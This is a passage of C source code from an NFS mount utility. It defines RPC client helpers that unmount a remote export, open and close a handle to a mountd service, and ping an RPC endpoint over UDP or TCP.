 * Note that a side effect of calling this function is that rpccreateerr
 * is set.
 */
int nfs_call_umount(clnt_addr_t *mnt_server, dirpath *argp)
{
	struct sockaddr *sap = (struct sockaddr *)&mnt_server->saddr;
	socklen_t salen = sizeof(mnt_server->saddr);
	struct pmap *pmap = &mnt_server->pmap;
	CLIENT *clnt;
	enum clnt_stat res = 0;
	int msock;

	if (!nfs_probe_mntport(sap, salen, pmap))
		return 0;
	clnt = mnt_openclnt(mnt_server, &msock);
	if (!clnt)
		return 0;
	res = clnt_call(clnt, MOUNTPROC_UMNT,
			(xdrproc_t)xdr_dirpath, (caddr_t)argp,
			(xdrproc_t)xdr_void, NULL,
			TIMEOUT);
	mnt_closeclnt(clnt, msock);

	if (res == RPC_SUCCESS)
		return 1;
	return 0;
}

/**
 * mnt_openclnt - get a handle for a remote mountd service
 * @mnt_server: address and pmap arguments of mountd service
 * @msock: returns a file descriptor of the underlying transport socket
 *
 * Returns an active handle for the remote's mountd service
 */
CLIENT *mnt_openclnt(clnt_addr_t *mnt_server, int *msock)
{
	struct sockaddr_in *mnt_saddr = &mnt_server->saddr;
	struct pmap *mnt_pmap = &mnt_server->pmap;
	CLIENT *clnt = NULL;

	mnt_saddr->sin_port = htons((u_short)mnt_pmap->pm_port);
	*msock = get_socket(mnt_saddr, mnt_pmap->pm_prot, MOUNT_TIMEOUT,
				TRUE, FALSE);
	if (*msock == RPC_ANYSOCK) {
		if (rpc_createerr.cf_error.re_errno == EADDRINUSE)
			/*
			 * Probably in-use by a TIME_WAIT connection,
			 * It is worth waiting a while and trying again.
			 */
			rpc_createerr.cf_stat = RPC_TIMEDOUT;
		return NULL;
	}

	switch (mnt_pmap->pm_prot) {
	case IPPROTO_UDP:
		clnt = clntudp_bufcreate(mnt_saddr,
					 mnt_pmap->pm_prog, mnt_pmap->pm_vers,
					 RETRY_TIMEOUT, msock,
					 MNT_SENDBUFSIZE, MNT_RECVBUFSIZE);
		break;
	case IPPROTO_TCP:
		clnt = clnttcp_create(mnt_saddr,
				      mnt_pmap->pm_prog, mnt_pmap->pm_vers,
				      msock,
				      MNT_SENDBUFSIZE, MNT_RECVBUFSIZE);
		break;
	}
	if (clnt) {
		/* try to mount hostname:dirname */
		clnt->cl_auth = authunix_create_default();
		return clnt;
	}
	return NULL;
}

/**
 * mnt_closeclnt - terminate a handle for a remote mountd service
 * @clnt: pointer to an active handle for a remote mountd service
 * @msock: file descriptor of the underlying transport socket
 *
 */
void mnt_closeclnt(CLIENT *clnt, int msock)
{
	auth_destroy(clnt->cl_auth);
	clnt_destroy(clnt);
	close(msock);
}

/**
 * clnt_ping - send an RPC ping to the remote RPC service endpoint
 * @saddr: server's address
 * @prog: target RPC program number
 * @vers: target RPC version number
 * @prot: target RPC protocol
 * @caddr: filled in with our network address
 *
 * Sigh... GETPORT queries don't actually check the version number.
 * In order to make sure that the server actually supports the service
 * we're requesting, we open an RPC client, and fire off a NULL
 * RPC call.
 *
 * caddr is the network address that the server will use to call us back.
 * On multi-homed clients, this address depends on which NIC we use to
 * route requests to the server.
 *
 * Returns one if successful, otherwise zero.
 */
int clnt_ping(struct sockaddr_in *saddr, const unsigned long prog,
		const unsigned long vers, const unsigned int prot,
		struct sockaddr_in *caddr)
{
	CLIENT *clnt = NULL;
	int sock, stat;
	static char clnt_res;
	struct sockaddr dissolve;

	rpc_createerr.cf_stat = stat = 0;
	sock = get_socket(saddr, prot, CONNECT_TIMEOUT, FALSE, TRUE);
	if (sock == RPC_ANYSOCK) {
		if (rpc_createerr.cf_error.re_errno == ETIMEDOUT) {
			/*
			 * TCP timeout. Bubble up the error to see 
			 * how it should be handled.
			 */
			rpc_createerr.cf_stat = RPC_TIMEDOUT;
		}
		return 0;
	}

	if (caddr) {
		/* Get the address of our end of this connection */
		socklen_t len = sizeof(*caddr);
		if (getsockname(sock, caddr, &len) != 0)
			caddr->sin_family = 0;
	}

	switch(prot) {
	case IPPROTO_UDP:
		/* The socket is connected (so we could getsockname successfully),
		 * but some servers on multi-homed hosts reply from
		 * the wrong address, so if we stay connected, we lose the reply.
		 */
		dissolve.sa_family = AF_UNSPEC;
		connect(sock, &dissolve, sizeof(dissolve));

		clnt = clntudp_bufcreate(saddr, prog, vers,
					 RETRY_TIMEOUT, &sock,
					 RPCSMALLMSGSIZE, RPCSMALLMSGSIZE);
		break;
	case IPPROTO_TCP:
		clnt = clnttcp_create(saddr, prog, vers, &sock,
				      RPCSMALLMSGSIZE, RPCSMALLMSGSIZE);
		break;
	}
	if (!clnt) {
		close(sock);
		return 0;
	}
	memset(&clnt_res, 0, sizeof(clnt_res));
	stat = clnt_call(clnt, NULLPROC,
			 (xdrproc_t)xdr_void, (caddr_t)NULL,
			 (xdrproc_t)xdr_void, (caddr_t)&clnt_res,
			 TIMEOUT);
	if (stat) {
		clnt_geterr(clnt, &rpc_createerr.cf_error);
		rpc_createerr.cf_stat = stat;
	}
	clnt_destroy(clnt);
	close(sock);

	if (stat == RPC_SUCCESS)
		return 1;
	else
		return 0;
}